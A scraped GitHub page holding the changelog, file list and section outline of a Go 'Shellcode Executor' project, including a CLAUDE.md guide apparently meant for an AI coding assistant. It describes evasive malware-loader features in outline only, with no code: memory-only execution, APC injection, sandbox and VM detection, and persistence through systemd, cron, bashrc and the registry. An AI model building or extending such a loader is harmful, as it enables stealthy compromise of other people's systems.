加密技术：AES-GCM、PBKDF2、多轮加密
软件工程：模块化设计、错误处理、测试

职业发展

安全研究：深入了解恶意软件技术
逆向工程：学习Windows内部机制
防御开发：开发检测和防御方案
合规测试：进行授权的安全测试

更新日志

v1.2.0 (2026-04-09)

新增：完整 Linux 跨平台支持（构建标签分离，Windows 代码零改动）
新增：Linux memfd_create 执行技术（双 mmap 规避 W^X，优先于 mprotect 方案）
新增：Linux 5 种持久化（systemd/cron/bashrc/autostart/隐藏目录，与 auto_cleaner 完全对应）
新增：Linux 环境检测（ptrace/TracerPid/Docker/LXC/K8s/VMware/VirtualBox/KVM/Xen）
重构：main.go → main_windows.go + main_linux.go，提取共享 download.go
替换：Linux 执行引擎弃用 syscall.RawSyscall6，统一使用 golang.org/x/sys/unix（Mmap/Mprotect/Munmap/MemfdCreate/Ftruncate）

v1.1.0 (2026-03-11)

新增：隐蔽持久化管理器，支持自我复制和注册表自启动
优化：代码注释和文档，增加详细技术说明
移除：RunOnce注册表支持，避免资源管理器警告
完善：环境检测机制，增加时间加速检测

v1.0.0 (2026-03-10)

初始发布：基础版本发布
核心功能：PEB动态解析和API管理
执行技术：堆内存执行、APC注入、回调函数
环境检测：调试器检测、沙箱模块检测
加密支持：多轮AES-GCM加密，Base64编码

文件完整性验证

核心文件列表

跨平台主入口

main_windows.go - Windows 主程序入口 ✓
main_linux.go - Linux 主程序入口 ✓
download.go - 共享 HTTP 下载（无构建标签）✓

执行引擎 4. pkg/executor/advanced_windows.go - Windows 堆/APC/回调执行 ✓ 5. pkg/executor/advanced_linux.go - Linux memfd_create + mmap 执行 ✓

持久化 6. pkg/executor/stealth_persistence_windows.go - Windows 注册表持久化 ✓ 7. pkg/executor/stealth_persistence_linux.go - Linux 5 种持久化 ✓

环境检测 8. pkg/peb/peb_windows.go - Windows PEB 访问器 ✓ 9. pkg/peb/peb_linux.go - Linux 环境检测器 ✓

API 管理 10. pkg/api/manager_windows.go - Windows 动态 API 解析 ✓ 11. pkg/api/manager_linux.go - Linux 空存根 ✓

类型定义 12. pkg/types/windows.go - Windows PE/PEB 类型 ✓ 13. pkg/types/linux.go - Linux 占位文件 ✓

共用组件 14. internal/cryptoutil/file_crypto.go - 跨平台 AES 加密工具 ✓ 15. cmd/cleaner/main.go - 清理工具 ✓ 16. cmd/auto_cleaner/main.go - Windows 自动清理工具 ✓ 17. cmd/auto_cleaner/main_linux.go - Linux 自动清理工具 ✓

文档完整性

文档状态：✅ 完整，包含所有实现细节，无省略或简化

FilesExpand file tree

CLAUDE.md

Latest commit

History

CLAUDE.md

File metadata and controls

CLAUDE.md - Shellcode Executor 项目指南

项目概述

项目结构

核心模块详细说明

1. 主程序（main_windows.go / main_linux.go）- 程序入口点

2. 高级执行器（pkg/executor/advanced_*.go）- 核心执行引擎

Linux 执行引擎（advanced_linux.go）

Windows 执行引擎（advanced_windows.go）

3. 隐蔽持久化管理器（pkg/executor/stealth_persistence_*.go）- 持久化引擎

Linux 持久化（stealth_persistence_linux.go）

Windows 持久化（stealth_persistence_windows.go）

4. PEB 访问器 / 环境检测器（pkg/peb/peb_*.go）

Linux 环境检测器（peb_linux.go）

Windows PEB 访问器（peb_windows.go）

5. API 管理器（pkg/api/manager_*.go）- 动态 API 解析

Windows API 管理器（manager_windows.go）

6. 加密工具 (internal/cryptoutil/file_crypto.go) - 多轮AES加密

详细构建与部署指南

1. 构建脚本详细说明

build.bat (Windows构建脚本)

build.sh (Linux构建脚本)

2. 手动构建命令

主程序构建

工具构建

3. 测试详细指南

单元测试

加密测试详细说明

4. 代码质量检查

代码格式化

静态分析

依赖管理

5. 部署配置

环境要求

编译标志说明

优化建议

6. 调试构建

调试信息保留

性能分析构建

竞态检测

执行流程

1. 环境检测

2. Shellcode 加载

3. 持久化安装

4. Shellcode 执行

5. 资源清理

详细技术实现分析

1. 环境检测机制详细说明

2. Shellcode执行技术详细对比

3. 隐蔽持久化技术详细分析

4. 动态API解析技术深度分析

5. 加密技术安全分析

代码规范

命名约定

注释要求

错误处理

安全与法律注意事项

⚠️ 重要安全声明

🚫 严格禁止用途

🔒 技术安全风险

📋 使用责任

🛡️ 防御建议

扩展开发

添加新的执行技术

添加新的检测技术

添加新的加密算法

故障排除

构建问题

执行问题

持久化问题

调试技巧

启用调试输出

禁用环境检测

使用测试 Shellcode

相关文档